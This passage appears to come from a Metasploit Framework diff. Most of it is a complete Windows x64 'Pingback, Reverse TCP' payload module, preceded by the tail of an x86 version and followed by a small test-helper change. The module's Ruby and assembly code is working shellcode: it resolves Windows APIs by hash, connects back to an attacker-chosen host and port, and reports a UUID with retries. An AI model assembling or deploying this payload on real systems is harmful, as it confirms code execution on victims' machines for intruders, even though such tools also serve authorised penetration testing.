call ebp ; connect( s, &sockaddr, 16 );
test eax,eax ; non-zero means a failure
jz connected
handle_connect_failure:
; decrement our attempt count and try again
dec dword [esi+8]
jnz try_connect
failure:
call exitfunk
; this lable is required so that reconnect attempts include
; the UUID stuff if required.
connected:
send_pingback:
push 0 ; flags
push #{uuid_as_db.split(",").length} ; length of the PINGBACK UUID
call get_pingback_address ; put pingback_uuid buffer on the stack
db #{uuid_as_db} ; PINGBACK_UUID
get_pingback_address:
push edi ; saved socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
call ebp ; call send
cleanup_socket:
; clear up the socket
push edi ; socket handle
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
call ebp ; closesocket(socket)
^
if pingback_count > 0
asm << %Q^
mov eax, [esi+12]
test eax, eax ; pingback counter
jz exitfunk
dec [esi+12]
sleep:
push #{(pingback_sleep * 1000)}
push #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
call ebp ;sleep(pingback_sleep * 1000)
jmp create_socket
^
end
asm << %Q^
; restore the stack back to the connection retry count
pop esi
pop esi
dec [esi+8] ; decrement the retry counter
jmp exitfunk
; try again
jnz create_socket
jmp failure
exitfunk:
mov ebx, 0x56a2b5f0
push.i8 0 ; push the exit function parameter
push ebx ; push the hash of the exit function
call ebp ; ExitProcess(0)
^
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
end
end
end

View File

@ -0,0 +1,255 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/payload/pingback'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/pingback'
module MetasploitModule
CachedSize = 425
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::Payload::Pingback
include Msf::Payload::Pingback::Options
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows x64 Pingback, Reverse TCP Inline',
'Description' => 'Connect back to attacker and report UUID (Windows x64)',
'Author' => [ 'bwatters-r7' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Pingback
))
def generate_stage
# 22 -> "0x00,0x16"
# 4444 -> "0x11,0x5c"
encoded_port = [datastore['LPORT'].to_i, 2].pack("vn").unpack("N").first
encoded_host = Rex::Socket.addr_aton(datastore['LHOST'] || "127.127.127.127").unpack("V").first
encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max
pingback_count = datastore['PingbackRetries']
pingback_sleep = datastore['PingbackSleep']
self.pingback_uuid ||= self.generate_pingback_uuid
uuid_as_db = "0x" + self.pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")
asm = %Q^
cld ; Clear the direction flag.
and rsp, ~0xF ; Ensure RSP is 16 byte aligned
call start ; Call start, this pushes the address of 'api_call' onto the stack.
api_call:
push r9 ; Save the 4th parameter
push r8 ; Save the 3rd parameter
push rdx ; Save the 2nd parameter
push rcx ; Save the 1st parameter
push rsi ; Save RSI
xor rdx, rdx ; Zero rdx
mov rdx, [gs:rdx+96] ; Get a pointer to the PEB
mov rdx, [rdx+24] ; Get PEB->Ldr
mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov rsi, [rdx+80] ; Get pointer to modules name (unicode string)
movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
xor r9, r9 ; Clear r9 which will store the hash of the module name
loop_modname: ;
xor rax, rax ; Clear rax
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
ror r9d, 13 ; Rotate right our hash value
add r9d, eax ; Add the next byte of the name
loop loop_modname ; Loop untill we have read enough
; We now have the module hash computed
push rdx ; Save the current position in the module list for later
push r9 ; Save the current module hash for later
; Proceed to itterate the export address table,
mov rdx, [rdx+32] ; Get this modules base address
mov eax, dword [rdx+60] ; Get PE header
add rax, rdx ; Add the modules base address
cmp word [rax+24], 0x020B ; is this module actually a PE64 executable?
; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and
; their may be a PE32 module present in the PEB's module list, (typicaly the main module).
; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48])
jne get_next_mod1 ; if not, proceed to the next module
mov eax, dword [rax+136] ; Get export tables RVA
test rax, rax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module
add rax, rdx ; Add the modules base address
push rax ; Save the current modules EAT
mov ecx, dword [rax+24] ; Get the number of function names
mov r8d, dword [rax+32] ; Get the rva of the function names
add r8, rdx ; Add the modules base address
; Computing the module hash + function hash
get_next_func: ;
jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec rcx ; Decrement the function name counter
mov esi, dword [r8+rcx*4]; Get rva of next module name
add rsi, rdx ; Add the modules base address
xor r9, r9 ; Clear r9 which will store the hash of the function name
; And compare it to the one we want
loop_funcname: ;
xor rax, rax ; Clear rax
lodsb ; Read in the next byte of the ASCII function name
ror r9d, 13 ; Rotate right our hash value
add r9d, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add r9, [rsp+8] ; Add the current module hash to the function hash
cmp r9d, r10d ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop rax ; Restore the current modules EAT
mov r8d, dword [rax+36] ; Get the ordinal table rva
add r8, rdx ; Add the modules base address
mov cx, [r8+2*rcx] ; Get the desired functions ordinal
mov r8d, dword [rax+28] ; Get the function addresses table rva
add r8, rdx ; Add the modules base address
mov eax, dword [r8+4*rcx]; Get the desired functions RVA
add rax, rdx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the drsired function...
finish:
pop r8 ; Clear off the current modules hash
pop r8 ; Clear off the current position in the module list
pop rsi ; Restore RSI
pop rcx ; Restore the 1st parameter
pop rdx ; Restore the 2nd parameter
pop r8 ; Restore the 3rd parameter
pop r9 ; Restore the 4th parameter
pop r10 ; pop off the return address
sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
push r10 ; push back the return address
jmp rax ; Jump into the required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop rax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop r9 ; Pop off the current (now the previous) modules hash
pop rdx ; Restore our position in the module list
mov rdx, [rdx] ; Get the next module
jmp next_mod ; Process this module
start:
pop rbp ; block API pointer
reverse_tcp:
; setup the structures we need on the stack...
mov r14, 'ws2_32'
push r14 ; Push the bytes 'ws2_32',0,0 onto the stack.
mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call.
sub rsp, #{408 + 8} ; alloc sizeof( struct WSAData ) bytes for the WSAData
; structure (+8 for alignment)
mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call.
mov r12, #{encoded_host_port}
push r12 ; host, family AF_INET and port
mov r12, rsp ; save pointer to sockaddr struct for connect call
; perform the call to LoadLibraryA...
mov rcx, r14 ; set the param for the library to load
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call rbp ; LoadLibraryA( "ws2_32" )
; perform the call to WSAStartup...
mov rdx, r13 ; second param is a pointer to this stuct
push 0x0101 ;
pop rcx ; set the param for the version requested
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
call rbp ; WSAStartup( 0x0101, &WSAData );
; stick the retry count on the stack and store it
push #{retry_count} ; retry counter
pop r14
push #{pingback_count}
pop r15
create_socket:
; perform the call to WSASocketA...
push rax ; if we succeed, rax wil be zero, push zero for the flags param.
push rax ; push null for reserved parameter
xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure
xor r8, r8 ; we do not specify a protocol
inc rax ;
mov rdx, rax ; push SOCK_STREAM
inc rax ;
mov rcx, rax ; push AF_INET
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
mov rdi, rax ; save the socket for later
try_connect:
; perform the call to connect...
push 16 ; length of the sockaddr struct
pop r8 ; pop off the third param
mov rdx, r12 ; set second param to pointer to sockaddr struct
mov rcx, rdi ; the socket
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
call rbp ; connect( s, &sockaddr, 16 );
test eax, eax ; non-zero means failure
jz connected
handle_connect_failure:
dec r14 ; decrement the retry count
jnz try_connect
dec r15
jmp close_socket
failure:
call exitfunk
; this lable is required so that reconnect attempts include
; the UUID stuff if required.
connected:
send_pingback:
xor r9, r9 ; flags
push #{uuid_as_db.split(",").length} ; length of the PINGBACK UUID
pop r8
call get_pingback_address ; put uuid buffer on the stack
db #{uuid_as_db} ; PINGBACK_UUID
get_pingback_address:
pop rdx ; PINGBACK UUID address
mov rcx, rdi ; Socket handle
mov r10, #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
call rbp ; call send
close_socket:
mov rcx, rdi ; Socket handle
mov r10, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
call rbp ; call closesocket
^
if pingback_count > 0
asm << %Q^
sleep:
test r15, r15 ; check pingback retry counter
jz exitfunk ; bail if we are at 0
dec r15 ;decrement the pingback retry counter
push #{(pingback_sleep * 1000)} ; 10 seconds
pop rcx ; set the sleep function parameter
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
call rbp ; Sleep()
jmp create_socket ; repeat callback
^
end
asm << %Q^
exitfunk:
pop rax ; won't be returning, realign the stack with a pop
push 0 ;
pop rcx ; set the exit function parameter
mov r10, 0x56a2b5f0
call rbp ; ExitProcess(0)
^
Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
end
end
end

View File

@ -43,7 +43,7 @@ def init_framework(create_opts={})
type = Msf.const_get("MODULE_#{type.upcase}") type = Msf.const_get("MODULE_#{type.upcase}")
end end
@framework = ::Msf::Simple::Framework.create(create_opts.merge('DisableDatabase' => true)) @framework = ::Msf::Simple::Framework.create
end end
# Cached framework object # Cached framework object